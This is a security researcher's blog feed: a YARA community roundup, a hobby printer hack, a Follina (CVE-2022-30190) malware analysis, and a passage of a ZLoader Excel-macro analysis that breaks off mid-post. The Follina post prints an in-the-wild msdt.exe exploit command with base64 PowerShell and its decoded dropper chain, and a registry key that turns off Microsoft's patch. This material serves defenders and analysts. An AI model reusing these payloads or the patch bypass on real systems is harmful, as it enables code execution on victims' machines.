            <description>&lt;p&gt;We’re halfway through (yes it&amp;#8217;s already the 50th day of 2024) the third year of the “100 Days of YARA” challenge, represented on Twitter via the hashtag &lt;a href=&quot;https://twitter.com/hashtag/100DaysOfYara&quot; target=&quot;_top&quot;&gt;#100DaysOfYARA&lt;/a&gt;. If you’re not familiar with the effort, it was inspired by &lt;a href=&quot;https://www.100daysofcode.com/&quot; target=&quot;_top&quot;&gt;#100DaysOfCode&lt;/a&gt; and encourages participants to engage with YARA for the first 100 days of the year. The challenge involves contributing to the community in any way, shape, or form. Some examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Writing and sharing one new YARA rule each day for 100 days.&lt;/li&gt;

&lt;li&gt;Working on YARA source code or other tooling.&lt;/li&gt;

&lt;li&gt;Generally helping to educate folks about YARA.&lt;/li&gt;

&lt;li&gt;Sharing detection engineering tips and tricks, like this excellent thread from &lt;a href=&quot;https://twitter.com/struppigel/status/1749341309867880594&quot; target=&quot;_top&quot;&gt;Karsten Hahn&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you&amp;#8217;re new to this all and looking to get started, consider the following springboards:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Find some relevant folks to follow and engage with on Twitter via our &lt;a href=&quot;https://twitter.com/i/lists/1648861278901764096&quot; target=&quot;_top&quot;&gt;#100DaysOfYARA Participants&lt;/a&gt; list.&lt;/li&gt;

&lt;li&gt;Join the conversation via the formal &lt;a href=&quot;https://discord.com/invite/UAkkWAQ5&quot; target=&quot;_top&quot;&gt;Discord channel&lt;/a&gt;.&amp;nbsp;&lt;/li&gt;

&lt;li&gt;Watch the official &lt;a href=&quot;https://github.com/100DaysofYARA/2024&quot; target=&quot;_top&quot;&gt;Github repository&lt;/a&gt; where rule submissions are collated.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Large Contributions&lt;/h2&gt;

&lt;p&gt;One of the larger single contributions we&amp;#8217;ve seen to date was from friend and colleague &lt;a href=&quot;https://twitter.com/dissectmalware&quot; target=&quot;_top&quot;&gt;@DissectMalware&lt;/a&gt; who released a tool that he&amp;#8217;s been privately working on for some time &lt;a href=&quot;https://yaradbg.dev/&quot; target=&quot;_top&quot;&gt;YaraDbg&lt;/a&gt;. If you&amp;#8217;ve ever worked with complex YARA rules before you&amp;#8217;ll have felt some debugging pains that have remained unsolved for years. YaraDbg helps you track down why your rule is not firing as expected. In addition to hosting the tool as a service, he&amp;#8217;s open-sourced the work across two projects, one for the &lt;a href=&quot;https://github.com/DissectMalware/yaradbg-frontend&quot; target=&quot;_top&quot;&gt;front end&lt;/a&gt; and the other for the &lt;a href=&quot;https://github.com/DissectMalware/yaradbg-backend&quot; target=&quot;_top&quot;&gt;back end&lt;/a&gt;. To install in Docker, simply:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ docker pull dissectmalware/yaradbg:latest&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ docker run -p 7071:7071 -p 8081:80 -d dissectmalware/yaradbg:lat&lt;/code&gt;est&lt;/p&gt;

&lt;p&gt;And then surf over to &lt;a href=&quot;http://localhost:8081&quot; target=&quot;_top&quot;&gt;http://localhost:8081&lt;/a&gt; to get started, screenshot:&lt;/p&gt;

&lt;p&gt;Another large contribution to highlight is from Christian Blichmann (&lt;a href=&quot;https://twitter.com/AdmVonSchneider&quot; target=&quot;_top&quot;&gt;@AdmVonSchneider&lt;/a&gt;), who maintains the &lt;a href=&quot;https://www.zynamics.com/&quot; target=&quot;_top&quot;&gt;BinDiff&lt;/a&gt; module at Google which they acquired from &lt;a href=&quot;https://www.zynamics.com/&quot; target=&quot;_top&quot;&gt;Zynamics&lt;/a&gt;. He open-sourced &lt;a href=&quot;https://github.com/google/vxsig&quot; target=&quot;_top&quot;&gt;VxSig&lt;/a&gt;, a tool for automatically generating YARA and ClamAV signatures from sets of similar binaries. This is the technology that fueled the former &lt;a href=&quot;https://blog.zynamics.com/category/vxclass/&quot; target=&quot;_top&quot;&gt;Zynamics VXClass&lt;/a&gt; offering, which essentially allowed for binary phylogenetics.&lt;/p&gt;

&lt;p&gt;A third large contribution to call attention to comes from Thomas Roccia (&lt;a href=&quot;https://twitter.com/fr0gger_&quot; target=&quot;_top&quot;&gt;@fr0gger&lt;/a&gt;), who released the &lt;a href=&quot;https://yaratoolkit.securitybreak.io/&quot; target=&quot;_top&quot;&gt;YARA toolkit&lt;/a&gt; which includes several web-based tools, including an editor/generator/scanner, a public rule search engine, and a small arsenal of task-specific tools to help detection engineers.&lt;/p&gt;

&lt;h2&gt;Myriad of Highlights&lt;/h2&gt;

&lt;p&gt;There&amp;#8217;s so much great content this year to highlight and here are just some of the ones that stood out to us…&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/greglesnewich/status/1753045075955687896&quot; target=&quot;_top&quot;&gt;Leveraging conditional counts to tease out case abuse.&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://twitter.com/stvemillertime/status/1743074871117009094&quot; target=&quot;_top&quot;&gt;Apparently, you can edit and test YARA rules in CyberChef!&lt;/a&gt; Here&amp;#8217;s an &lt;a href=&quot;https://gchq.github.io/CyberChef/#recipe=YARA_Rules(&amp;#x27;rule%20beepboop%20%7B%5Cnstrings:%5Cn$mz%20%3D%20%22mz%22%20nocase%5Cn$s1%20%3D%20%22beep%22%5Cn$s2%20%3D%20%22boop%22%20%5Cncondition:%5Cnfilesize%20%3C%201000%5Cnand%20$mz%20at%200%20%5Cnand%20all%20of%20them%5Cn%7D&amp;#x27;,false,false,false,true,true,true)&amp;amp;input=bXogdGVzdCBtYXRlcmlhbCAKdGhhdCB5b3UgYXJlIHNjYW5uaW5nCnNvbWV0aGluZyBzb21ldGhpbmcgCmJlZXAgYm9vcCBjb21wdXRlcg&quot; target=&quot;_top&quot;&gt;example&lt;/a&gt;.&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://twitter.com/greglesnewich/status/1743226334288228639&quot; target=&quot;_top&quot;&gt;Detect LNK files that may create scheduled tasks.&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://twitter.com/stvemillertime/status/1742698096008560777&quot; target=&quot;_top&quot;&gt;Leverage YARA and some command line kung-fu to enumerate unsigned binaries in Windows 11.&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://twitter.com/fr0gger_/status/1742063144930013253&quot; target=&quot;_top&quot;&gt;Explore the VirusTotal NetIOC custom YARA extension.&lt;/a&gt; Here&amp;#8217;s the relevant &lt;a href=&quot;https://blog.securitybreak.io/100daysofyara-challenge-04c966eab1ae&quot; target=&quot;_top&quot;&gt;blog&lt;/a&gt;.&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://twitter.com/jacoblatonis/status/1741849058489024786&quot; target=&quot;_top&quot;&gt;Take a look at what it takes to make contributions to the official YARA repo&lt;/a&gt;. &lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://twitter.com/JusticeRage&quot; target=&quot;_top&quot;&gt;@JusticeRage&lt;/a&gt; created &lt;a href=&quot;https://yaravalidator.manalyzer.org/&quot; target=&quot;_top&quot;&gt;YARA validator&lt;/a&gt; for checking which versions of YARA your rule is compatible with.&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://twitter.com/petermstewart&quot; target=&quot;_top&quot;&gt;@petermstewart&lt;/a&gt; highlights how to use regex to detect &lt;a href=&quot;https://twitter.com/petermstewart/status/1744299050592018456&quot; target=&quot;_top&quot;&gt;Bitcoin&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/petermstewart/status/1744726421002666359&quot; target=&quot;_top&quot;&gt;Ethereum&lt;/a&gt; wallet addresses&lt;/li&gt;

&lt;li&gt;…and so many more.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Further Resources&lt;/h2&gt;

&lt;p&gt;If you&amp;#8217;re looking for YARA resources and/or rules, we highly recommend checking out the &lt;a href=&quot;https://github.com/pedramamini/awesome-yara&quot; target=&quot;_top&quot;&gt;Awesome YARA&lt;/a&gt; project on Github that aggregates all of the things YARA… including rules, tools, services, people, and more. Furthermore, check out &lt;a href=&quot;https://labs.inquest.net/&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, specifically the IOCDB panel which &lt;a href=&quot;https://labs.inquest.net/iocdb##eyJyZXN1bHRzIjpbIn4iLCJjdGltZSIsMSwiIixbXV19&quot; target=&quot;_top&quot;&gt;allows one to search for YARA rules&lt;/a&gt; from a plethora of sources (note a free login is required to return only YARA rules in this view):&lt;/p&gt;

&lt;p&gt;We&amp;#8217;d like to express our sincere gratitude to everyone involved in the 100 Days of YARA initiative. Your dedication and hard work are truly commendable. As the challenge progresses, we&amp;#8217;ll be keenly observing and look forward to sharing a comprehensive update upon its conclusion. If you&amp;#8217;re a security practitioner looking to leverage the power of YARA in your environment, &lt;a href=&quot;https://web.archive.org/web/2024/https://inquest.net/company/contact/&quot; target=&quot;_top&quot;&gt;get in touch&lt;/a&gt;. The entirety of the InQuest product line (&lt;a href=&quot;https://web.archive.org/web/2024/https://inquest.net/products/filetac/&quot; target=&quot;_top&quot;&gt;FileTAC&lt;/a&gt;, &lt;a href=&quot;https://web.archive.org/web/2024/https://inquest.net/products/mailtac/&quot; target=&quot;_top&quot;&gt;MailTAC&lt;/a&gt;, and &lt;a href=&quot;https://web.archive.org/web/2024/https://inquest.net/products/nettac/&quot; target=&quot;_top&quot;&gt;NetTAC&lt;/a&gt;) supports YARA pattern matching across session, header, and file content. Critically, InQuest Deep File Inspection&reg; (DFI) exposes and normalizes embedded file content allowing detection engineers to apply YARA to otherwise hidden layers of data. In addition to real-time YARA alerting, InQuest RetroHunting&reg; empowers analysts to leverage the power of hindsight by applying YARA to historical data. This pairing facilitates a proactive approach toward adopting a Zero Trust security framework.&lt;/p&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2024-02-20 on &lt;a href=&quot;https://web.archive.org/web/2024/https://inquest.net/blog/100-days-of-yara-2024-halfway-point&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>06.20.2023: Cowsay, Sticky Note Edition</title>
            <link>http://pedramamini.com/blog/2023.06.20/</link>
            <pubDate>Tue, 20 Jun 2023 00:00:00 -0500</pubDate>
            <description>It's been quite some time since I've produced (what my friends lovingly call) a useless Pedram project. That dry spell is over, I present to you: &quot;Cowsay Sticky Note Edition&quot;:

&lt;ul&gt;
    &lt;li&gt;
        &lt;a href=&quot;https://stickynote.pedramamini.com&quot; target=&quot;_top&quot;&gt;https://stickynote.pedramamini.com&lt;/a&gt;
    &lt;/li&gt;
&lt;/ul&gt;

I purchased this since discontinued &lt;a href=&quot;https://www.amazon.com/Smart-Sticky-Note-Printer-Works-with-Alexa/dp/B08SZ26WF9&quot; target=&quot;_top&quot;&gt;Amazon &quot;Day 1 Edition&quot; Sticky Note Printer&lt;/a&gt; and was immediately disappointed by the fact that the only interface to printing to it was via voice. The printer sat collecting dust for two years until I found myself interested in a Raspberry Pi project. A port scan revealed that the IPP printer port was open, but I couldn't get anything to print. Through some research and brute-force, I devised a &lt;a href=&quot;https://gist.github.com/pedramamini/aecb386544ae6e8cc14afead6b5ca9e0&quot; target=&quot;_top&quot;&gt;Python script&lt;/a&gt; to accomplish the task. The key was figuring out that the pixel values had to be exactly 576. From there, we could brute force an appropriate column count based on our chosen font and size. &lt;a href=&quot;https://www.youtube.com/watch?v=1e0R9B3MvR4&quot; target=&quot;_top&quot;&gt;Video demo&lt;/a&gt;. The next thing I did, was &lt;a href=&quot;https://twitter.com/pedramamini/status/1646193595207106580&quot; target=&quot;_top&quot;&gt;open it up the the Internet via Twitter&lt;/a&gt;. After a few days, I had collected enough sticky notes and ASCII art to frame the work as art:

&lt;p align=&quot;center&quot;&gt;&lt;a href=&quot;/images/sticky-note-art.png&quot; target=&quot;_top&quot;&gt;&lt;img src=&quot;/images/sticky-note-art-thumbnail.png&quot;&gt;&lt;/a&gt;&lt;/p&gt;

This was a fun project that reconnected me with some old friends, by way of sticky note and garnered a great collection of fun quips from all around the world. &lt;a href=&quot;https://www.icloud.com/sharedalbum/#B0qGdIshaGO97cV&quot; target=&quot;_top&quot;&gt;More media from the project&lt;/a&gt;.
&lt;p&gt;
Hack the planet.
</description>
        </item>
                <item>
            <title>06.23.2022: Follina, the Latest in a Long Chain of Microsoft Office Exploits</title>
            <link>http://pedramamini.com/blog/2022.06.23/</link>
            <pubDate>Thu, 23 Jun 2022 00:00:00 -0500</pubDate>
            <description>&lt;p&gt;This was a rough year for the Microsoft ecosystem as 2017 also carried the infamous &lt;a href=&quot;https://web.archive.org/web/2023/https://inquest.net/blog/2018/02/12/deep-file-inspection&quot; target=&quot;_top&quot;&gt;CVE-2017-0199&lt;/a&gt; and CVE-2017-11882 (Equation Editor) vulnerabilities, arguably the heaviest abused CVEs by malware in the years since. In 2019 we saw the rise of &amp;#8220;macrosheets&amp;#8221;, a backward compatibility feature of Microsoft Office that provides support for macros from Excel 4.0, released in 1992. Take a look at Figure 2 to get a feel for how arcane this functionality is.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2022-06-23-follina-the-latest-in-a-long-chain-of-office-exploits/DDy6JjlDJVopFPYe55HziLC4G_50_AmupEiV7agiOdnM7KkCJQAyt1HGwWJT4vYkZ6EilQH-994Ok3NqRpl-SAeHb3b9YIKWSpZWzkU9w3lTgnblu2DWhEVNiZ8HadjtqhpB7N9HlBEq9Woj-g.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;i&gt;&lt;strong&gt;&lt;em&gt;Figure 2: Microsoft Excel 4.0&lt;/em&gt;&lt;/strong&gt;&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;The &amp;#8220;macrosheet&amp;#8221; vector was quickly and widely adopted by malware distributors and it continued to be a favorite until this year. In 2021 we saw &lt;a href=&quot;https://web.archive.org/web/2023/https://inquest.net/blog/2021/09/13/cve-2021-40444&quot; target=&quot;_top&quot;&gt;CVE-2021-40444&lt;/a&gt;, a Microsoft MSHTML vulnerability discovered being exploited in the wild.&amp;nbsp;&lt;/p&gt;

&lt;p&gt;This brings us to 2022. On May 27&lt;sup&gt;th&lt;/sup&gt;, @nao_sec Tweeted about a suspicious document pivoting through Microsoft&amp;#8217;s Support Diagnostic Tool via the &lt;a href=&quot;https://twitter.com/nao_sec/status/1530196847679401984&quot; target=&quot;_top&quot;&gt;&amp;#8216;ms-msdt&amp;#8217; scheme&lt;/a&gt;. The timing of this in-the-wild discovery coincided with a US holiday, and over the weekend the vulnerability picked up the name &amp;#8220;Follina&amp;#8221;. On May 31&lt;sup&gt;st&lt;/sup&gt;, we saw an official acknowledgment from Microsoft and formalized on CVE-2022-30190.&lt;/p&gt;

&lt;p&gt;
&lt;blockquote&gt;&lt;p&gt;Interesting maldoc was submitted from Belarus. It uses Word&amp;#39;s external link to load the HTML and then uses the &amp;quot;ms-msdt&amp;quot; scheme to execute PowerShell code.&lt;a href=&quot;https://t.co/hTdAfHOUx3&quot; target=&quot;_top&quot;&gt;https://t.co/hTdAfHOUx3&lt;/a&gt; &lt;a href=&quot;https://t.co/rVSb02ZTwt&quot; target=&quot;_top&quot;&gt;pic.twitter.com/rVSb02ZTwt&lt;/a&gt;&lt;/p&gt;,  nao_sec (@nao_sec) &lt;a href=&quot;https://twitter.com/nao_sec/status/1530196847679401984?ref_src=twsrc%5Etfw&quot; target=&quot;_top&quot;&gt;May 27, 2022&lt;/a&gt;&lt;/blockquote&gt;
&lt;br&gt;&lt;i&gt;&lt;strong&gt;&lt;em&gt;Figure 3: Tweet from @nao_sec.&lt;/em&gt;&lt;/strong&gt;&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;However, this isn&amp;#8217;t the beginning of this story. If we look further back we can find in-the-wild document carriers exploiting CVE-2022-30190 in mid-April:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;April 8th, 2022&lt;/em&gt;:  &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/d61d70a4d4c417560652542e54486beb37edce014e34a94b8fd0020796ff1ef7&quot; target=&quot;_top&quot;&gt;d61d70a4d4c417560652542e54486beb37edce014e34a94b8fd0020796ff1ef7 &lt;/a&gt;on InQuest Labs &lt;/p&gt;

&lt;p&gt;&lt;em&gt;April 12th, 2022&lt;/em&gt; :  &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/710370f6142d945e142890eb427a368bfc6c5fe13a963f952fb884c38ef06bfa&quot; target=&quot;_top&quot;&gt;710370f6142d945e142890eb427a368bfc6c5fe13a963f952fb884c38ef06bf&lt;/a&gt;  on InQuest Labs &lt;/p&gt;

&lt;p&gt;The plot thickens even further when we consider that in August of 2020, Benjamin Altpeter published a bachelor thesis titled &amp;#8220;An Analysis of the State of Electron Security in the Wild&amp;#8221; which outlined this very issue with MSDT.&lt;/p&gt;

&lt;p&gt;The flaw is trivially exploitable and results in arbitrary code execution. As we&amp;#8217;ve seen with similar vulnerabilities in the past, the simplicity and efficacy of this vulnerability lends itself to rapid adoption by malware authors. Fortunately, a patch is available as of June 14th and before the patch a simple mitigation could be applied to disable the &amp;#8216;ms-msdt&amp;#8217; schema:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;reg delete HKEY_CLASSES_ROOT\ms-msdt /f&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This vulnerability has garnered more attention than any other CVE this year and rightfully so. It is highly recommended that defenders patch this issue immediately. APT actors such as TA413 and Sandworm have been seen leveraging this flaw to target Tibetan and &lt;a href=&quot;https://cert.gov.ua/article/160530&quot; target=&quot;_top&quot;&gt;Ukrainian&lt;/a&gt; assets, respectively. Microsoft identifies malware exploiting this vulnerability as &amp;#8220;Mesdetty&amp;#8221;.&lt;/p&gt;

&lt;h2&gt;A Deeper Look&lt;/h2&gt;

&lt;p&gt;While additional vectors have been discovered via &lt;a href=&quot;https://twitter.com/j00sean/status/1534116178989395968&quot; target=&quot;_top&quot;&gt;FoxIt Reader&lt;/a&gt; and even RTF via the preview pane, the initial samples began with a Microsoft Office document containing a remote object reference that pivots through the msdt.exe binary, as seen here:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&quot;C:\WINDOWS\system32\msdt.exe&quot; ms-msdt:/id PCWDiagnostic /skip force /param &quot;IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('&amp;#91;System.Text.Encoding]'+&amp;#91;char]58+&amp;#91;char]58+'UTF8.GetString(&amp;#91;System.Convert]'+&amp;#91;char]58+&amp;#91;char]58+'FromBase64String('+&amp;#91;char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+&amp;#91;char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO&quot;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Note that the next stage of the payload is encoded in base64 above and shown here decoded:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$cmd = &quot;c:\\windows\\system32\\cmd.exe&quot;;Start-Process $cmd -windowstyle hidden -ArgumentList &quot;/c taskkill /f /im msdt.exe&quot;;Start-Process $cmd -windowstyle hidden -ArgumentList &quot;/c cd C:\\users\\public\\&amp;amp;&amp;amp;for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&amp;amp;&amp;amp;findstr TVNDRgAAAA 1.rar&amp;gt;1.t&amp;amp;&amp;amp;certutil -decode 1.t 1.c &amp;amp;&amp;amp;expand 1.c -F:* .&amp;amp;&amp;amp;rgb.exe&quot;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;No buffers. No heap fills. No type-confusion. A simple path to executing arbitrary Powershell directives. Looking at the patch Microsoft released on June 14th, @80vul highlights the Regular Expression based command-line argument filtration in a &lt;a href=&quot;https://twitter.com/80vul/status/1536920233255968769&quot; target=&quot;_top&quot;&gt;Tweet &lt;/a&gt;as depicted in Figure 4:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2022-06-23-follina-the-latest-in-a-long-chain-of-office-exploits/fK9Svon9-7gh9PcAKV2GfqKz4LqKBvvrHjjr1IBcohg7IjWuJd5_GpSlWGz0mT-IaSkORpQq0riL8jGGxwuvFvtkqBM17rRCowGq8teg7lrHraQOA1YQlnaHnj5HPfYUGo3px1eIy6ZyrUPDsQ.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;i&gt;&lt;strong&gt;&lt;em&gt;Figure 4: Regular Expression command-line filter patch.&lt;/em&gt;&lt;/strong&gt;&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;If history is to teach us a lesson, this approach will likely be insufficient as researchers or attackers tinker with ways of bypassing the filter. On a final interesting note, it is possible to disable this patch by setting the following key to a DWORD value of 1:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HKLM\SOFTWARE\Policies\Microsoft\Windows\ScriptedDiagnostics\TurnOffCheck&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;Further Resources&lt;/h2&gt;

&lt;p&gt;For further research see the PoCs, samples, and indicators listed below.&lt;/p&gt;

&lt;h3&gt;Public Proof-of-Concepts (PoC):&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JohnHammond/msdt-follina/&quot; target=&quot;_top&quot;&gt;https://github.com/JohnHammond/msdt-follina/&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://github.com/chvancooten/follina.py&quot; target=&quot;_top&quot;&gt;https://github.com/chvancooten/follina.py&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Real-world Malware Samples:&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/sha256/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/sha256/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/sha256/6b06af3d20fd4f35fe62151d45e4344314d26b68d886d80ad6d8a375820247cf&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/sha256/6b06af3d20fd4f35fe62151d45e4344314d26b68d886d80ad6d8a375820247cf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Indicators of Compromise (IOCs):&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.inquest.net/lookup/domain/cssformats%5B.%5Dcom&quot; target=&quot;_top&quot;&gt;cssformats[.]com&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://labs.inquest.net/lookup/domain/xmlformats%5B.%5Dcom&quot; target=&quot;_top&quot;&gt;xmlformats[.]com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Free On-Demand Webinar: Think Before You Click&lt;/h2&gt;
&lt;p&gt;Whether sent as an email attachment, sitting in your cloud or traversing the Web, file-borne threats have become a proven favorite for delivering malware and phishing campaigns. View our webinar on-demand and get firsthand tips about how to safeguard your cybersecurity stack with File Detection and Response (FDR) and stop file-borne threats in their tracks.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cta-redirect.hubspot.com/cta/redirect/4270940/c8fd6e6e-6489-4923-b6d5-57d2cb4b7f8c&quot; target=&quot;_top&quot;&gt;&lt;img src=&quot;/legacy/2022-06-23-follina-the-latest-in-a-long-chain-of-office-exploits/c8fd6e6e-6489-4923-b6d5-57d2cb4b7f8c.png&quot; alt=&quot;View the Webinar On-Demand&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2022-06-23 on &lt;a href=&quot;https://web.archive.org/web/2023/https://inquest.net/blog/2022/06/23/follina-latest-long-chain-microsoft-office-exploits&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>05.06.2020: ZLoader 4.0 Macrosheets Evolution</title>
            <link>http://pedramamini.com/blog/2020.05.06/</link>
            <pubDate>Wed, 06 May 2020 00:00:00 -0500</pubDate>
            <description>&lt;p&gt;In January of 2019, we published a blog titled &lt;a href=&quot;/blog/2019-01-29/&quot;&gt;&quot;Extracting 'Sneaky' Excel XLM Macros&quot;&lt;/a&gt; that detailed a technique attackers had adopted for embedding malicious logic under a less understood facet of Excel Spreadsheets, Excel 4.0 macros aka XLM macros. In March of this year, we published &lt;a href=&quot;/blog/2020-03-18/&quot;&gt;&quot;Getting Sneakier: Hidden Sheets, Data Connections, and XLM Macros&quot;&lt;/a&gt;, that evolved the stealthiness of the approach through the remote embedding of later-stage content via Excel DCONN records. Today, we uncover yet another iteration on this tactic. We are examining a novel and advanced obfuscation scheme with macrosheets embedded in the (newer) Office 2007+ format, versus the legacy OLE format (Object Linking and Embedding).&lt;/p&gt;

&lt;h2&gt;Initial Samples, Low Detection Rates&lt;/h2&gt;

&lt;p&gt;
Tracing back through recent history, the first sample we're able to identify from this campaign appeared on VirusTotal on Monday, &lt;a href=&quot;https://en.wikipedia.org/wiki/Star_Wars_Day&quot; target=&quot;_top&quot;&gt;May 4th (Star Wars Day)&lt;/a&gt;:
&lt;em&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/955d59e66e24b4585dd044b1576f03ff0e6d8306397766420806979475eededd&quot; target=&quot;_top&quot;&gt;InQuest Labs: 955d59e66e24b4585dd044b1576f03ff0e6d8306397766420806979475eededd&lt;/a&gt;
&lt;/em&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/955d59e66e24b4585dd044b1576f03ff0e6d8306397766420806979475eededd/detection&quot; target=&quot;_top&quot;&gt;VirusTotal: 1/58&lt;/a&gt;
Detection rates for this and all related samples is rather abysmal, with decent coverage coming from just a single vendor, Qihoo-360, identifying the threat as &lt;code&gt;Macro.office.07defname.gen&lt;/code&gt;. While this sample was the earliest, the first sample that caught our eye, and the primary one we'll be examining below is:
* &lt;code&gt;8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf&lt;/code&gt;
You can download this sample to follow along yourself through our open data portal, &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;. Let's start by highlighting the &quot;hidden&quot; / &quot;very-hidden&quot; sheets and obfuscated &lt;code&gt;AutoOpen&lt;/code&gt; hook from &lt;code&gt;xl/workbook.xml&lt;/code&gt;:
&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
  ...
  &amp;lt;sheets&amp;gt;
    &amp;lt;sheet name=&quot;Sheet1&quot; sheetId=&quot;1&quot; r:id=&quot;rId1&quot;/&amp;gt;
    &amp;lt;sheet name=&quot;Izdxo9x56IFL1JQZhlGzFBCxVIEmmW&quot; sheetId=&quot;2&quot; state=&quot;veryHidden&quot; r:id=&quot;rId2&quot;/&amp;gt;
  &amp;lt;/sheets&amp;gt;
  &amp;lt;definedNames&amp;gt;
    &amp;lt;definedName name=&quot;_xlnm.Auto_openhFX8u&quot; hidden=&quot;1&quot;&amp;gt;Izdxo9x56IFL1JQZhlGzFBCxVIEmmW!$AG$4609&amp;lt;/definedName&amp;gt;
  &amp;lt;/definedNames&amp;gt;
  ...
  &lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The Microsoft Office suite provides a large, feature-rich, backwards compatible, and ever-changing landscape for malicious actors to discover and leverage new threat tactics. Weighing in at 10's of millions of lines and countless installations globally, it's not hard to see why attackers favor the platform. This novel tactic for pivoting to the execution of embedded logic is the latest in a long and seemingly never-ending trail of successful creativity.

&lt;/p&gt;

&lt;h2&gt;An Effective Detection Anchor&lt;/h2&gt;

&lt;p&gt;One consistency among non-exploit-based malware lures is the need to coerce the target into enabling the execution pivot. The requirement for user consent is a double-edged sword. On the one hand, it reduces the immediate impact of the threat. On the other, multiple interactions (consider the &lt;a href=&quot;/blog/2017-10-13/&quot;&gt;DDE based command execution tactic from 2017&lt;/a&gt;) can result in lower detection rates. A common tactic that has remained consistent for years is the usage of embedded media to coerce the target user into taking a wary action. This campaign is no different; here's an example sourced from &lt;code&gt;xl/media/image1.jpg&lt;/code&gt;:&lt;/p&gt;

